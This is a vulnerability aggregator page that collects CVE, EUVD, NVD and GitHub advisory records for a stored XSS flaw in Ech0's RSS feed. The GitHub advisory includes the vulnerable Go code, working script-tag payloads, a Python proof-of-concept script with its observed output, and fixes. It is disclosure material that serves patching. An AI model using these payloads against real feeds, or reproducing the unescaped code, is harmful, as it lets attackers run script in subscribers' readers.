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Ech0 before 4.7.3 Stored XSS via RSS feed tag names

Exploitation and risk

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cve-program · CVE-2026-79663

Published

Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.

Source published
25 Aug 2026 11:33:26 UTC
Source modified
26 Aug 2026 16:11:59 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 4.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

CVSS 3.1 · 4.8 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

euvd · EUVD-2026-65451

Published

Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 25, 2026, 11:33:26 AM

dateUpdated: Aug 26, 2026, 4:11:59 PM

Source published
Aug 25, 2026, 11:33:26 AM (timezone not stated)
Source modified
Aug 26, 2026, 4:11:59 PM (timezone not stated)
Saved here
19 Nov 2026 22:21:20 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 4.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

nvd · CVE-2026-79663

Published

Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-79

Original publisher date fields

published: 2026-08-25T12:16:33.627

lastModified: 2026-08-31T20:38:54.340

Source published
25 Aug 2026 12:16:33 UTC
Source modified
31 Aug 2026 20:38:54 UTC
Saved here
25 Oct 2026 16:19:04 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 4.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 4.8 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-3v85-fqvh-7rxf

Published

## Summary The public RSS/Atom feed at `/rss` renders two attacker-controlled surfaces without HTML escaping. Tag names flow through `fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name)` at `internal/service/common/common.go:120`, and the Markdown renderer at `internal/util/md/md.go` does not set the `html.SkipHTML` flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom `<summary type="html">` is valid XML but contains executable `<script>` tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin. ## Details Tag sink at `internal/service/common/common.go:120`: ```go if len(msg.Tags) > 0 { for _, tag := range msg.Tags { renderedContent = fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name) } } ``` `fmt.Appendf` with `%s` does not HTML-escape. Tag names come from user-supplied `EchoUpsertDto.Tags` and are persisted after `strings.TrimSpace(strings.TrimPrefix(tag.Name, "#"))` at `internal/service/echo/echo.go:326`, which strips a leading `#` and trims whitespace but does nothing about HTML metacharacters. A tag name of `</span><script>document.title='RSS-XSS-HIT'</script><span>x` breaks out of the surrounding `<span>` element and injects executable JavaScript into the RSS `summary` field. Markdown sink at `internal/util/md/md.go`: ```go htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank | html.NoopenerLinks | html.NoreferrerLinks // html.SkipHTML is NOT set ``` The `gomarkdown` library passes raw HTML through when `SkipHTML` is not set. `MdToHTML([]byte(msg.Content))` at `internal/service/common/common.go:102` produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS `summary` field. The RSS feed declares `<summary type="html">`, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip. Echo creation requires admin role (`internal/service/echo/echo.go:54-56` checks `user.IsAdmin`). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers. Prior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same "admin creates content" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class. ## Proof of Concept Default install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches `/rss` and the decoded summary contains executable `<script>`: ```python import requests, xml.etree.ElementTree as ET, html TARGET = "http://localhost:8300" # Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown. owner = requests.post(f"{TARGET}/api/login", json={"username": "owner", "password": "owner-pw"} ).json()["data"]["access_token"] tag_payload = "</span><script>document.title='RSS-XSS-HIT'</script><span>x" md_payload = "<script>document.title='MD-XSS-HIT'</script>normal text" requests.post(f"{TARGET}/api/echos", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"content": "echo with malicious tag", "tags": [tag_payload]}) requests.post(f"{TARGET}/api/echos", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"content": md_payload}) # Anyone fetches /rss anonymously. feed = requests.get(f"{TARGET}/rss").text root = ET.fromstring(feed) ns = {"atom": "http://www.w3.org/2005/Atom"} for entry in root.findall("atom:entry", ns): summary = entry.find("atom:summary", ns) decoded = html.unescape(summary.text or "") if "<script>" in decoded.lower(): print(f" *** EXECUTABLE <script> in decoded summary ***") print(f" raw: {(summary.text or '')[:200]!r}") print(f" decoded: {decoded[:200]!r}") ``` Observed on v4.5.6: ``` *** EXECUTABLE <script> in decoded summary *** raw: "<p><script>document.title=&lsquo;MD-XSS-HIT&rsquo;</script>normal text</p>\n" decoded: "<p><script>document.title='MD-XSS-HIT'</script>normal text</p>\n" *** EXECUTABLE <script> in decoded summary *** raw: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>' decoded: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>' ``` Two separate `<script>` tags land in the public RSS feed: one via the tag-name sink, one via the markdown raw-HTML sink. Any RSS reader that decodes `type="html"` content and renders the HTML (common in self-hosted readers like Tiny Tiny RSS and FreshRSS's default settings, and in several desktop readers) executes the script. ## Impact A non-owner admin with echo-creation rights (or the owner themselves if RSS pushes to subscribers the owner did not hand-pick) injects persistent JavaScript into the public RSS feed. The RSS feed reaches: - **Anonymous subscribers** who follow the blog's RSS URL in their reader. - **Registered non-admin users** who may subscribe to the feed. - **Other admins** on the same instance. Each subscriber whose reader renders `type="html"` content runs the attacker's script in the reader's origin. Depending on the reader, the payload: - Reads the reader's own UI tokens and exfiltrates them. - Makes authenticated requests to other feeds the reader polls (cross-feed data theft). - Plants phishing content that looks like a legitimate feed entry. The class is stored XSS with cross-user reach. Severity compared to GHSA-69hx-63pv-f8f4 (SVG-upload stored XSS, accepted as Medium): reach is similar (anonymous subscribers via a published feed URL), and the admin precondition matches. ## Recommended Fix Two independent fixes, both needed. Tag names: HTML-escape before interpolation. ```go for _, tag := range msg.Tags { renderedContent = fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", html.EscapeString(tag.Name)) } ``` Markdown: add `html.SkipHTML` to the renderer flags so raw HTML in echo markdown is stripped. ```go htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank | html.NoopenerLinks | html.NoreferrerLinks | html.SkipHTML ``` Validate tag names at creation time too. A central validator in `EchoService.Create` that rejects tags containing `<`, `>`, or `"` removes the attacker payload before it reaches the DB: ```go for _, name := range newEcho.Tags { if strings.ContainsAny(name, "<>\"'&") { return errors.New(commonModel.INVALID_TAG_NAME) } } ``` --- *Found by [aisafe.io](https://aisafe.io)*

Source published
7 May 2026 21:18:27 UTC
Source modified
27 Aug 2026 04:10:39 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Publisher rating · MODERATE

osv · GO-2026-5100

Published

Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers in github.com/lin-snow/ech0

Source published
25 Jun 2026 18:26:48 UTC
Source modified
27 Aug 2026 04:10:39 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

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